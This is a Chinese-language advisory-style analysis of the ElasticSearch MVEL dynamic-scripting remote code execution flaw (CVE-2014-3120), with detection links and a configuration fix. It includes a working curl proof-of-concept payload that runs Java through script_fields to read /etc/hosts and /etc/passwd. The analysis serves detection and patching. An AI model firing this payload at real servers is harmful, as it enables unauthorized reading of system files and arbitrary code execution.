ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析
原理 这个漏洞实际上非常简单,ElasticSearch有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理。 ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码。 而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码。 其实官方是清楚这个漏洞的,在文档里有说明: First, you should not run Elasticsearch as the root user, as this would allow a script to access or do anything on your server, without limitations. Second, you should not expose Elasticsearch directly to users, but instead have a proxy application inbetween. 检测方法 在线检测: http://tool.scanv.com/es.html 可以检测任意地址 http://bouk.co/blog/elasticsearch-rce/poc.html 只检测localhost,不过会输出/etc/hosts和/etc/passwd文件的内容到网页上 自己手动检测: curl -XPOST 'http://localhost:9200/_search?pretty' -d ' { "size": 1, "query": { "filtered": { "query": { "match_all": {} } } }, "script_fields": { "/etc/hosts": { "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();" }, "/etc/passwd": { "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();" } } } ' 处理办法 关掉执行脚本功能,在配置文件elasticsearch.yml里为每一个结点都加上: script.disable_dynamic: true http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts 官方会在1.2版本默认关闭动态脚本。 https://github.com/elasticsearch/elasticsearch/issues/5853 参考: http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-request-script-fields.html http://bouk.co/blog/elasticsearch-rce/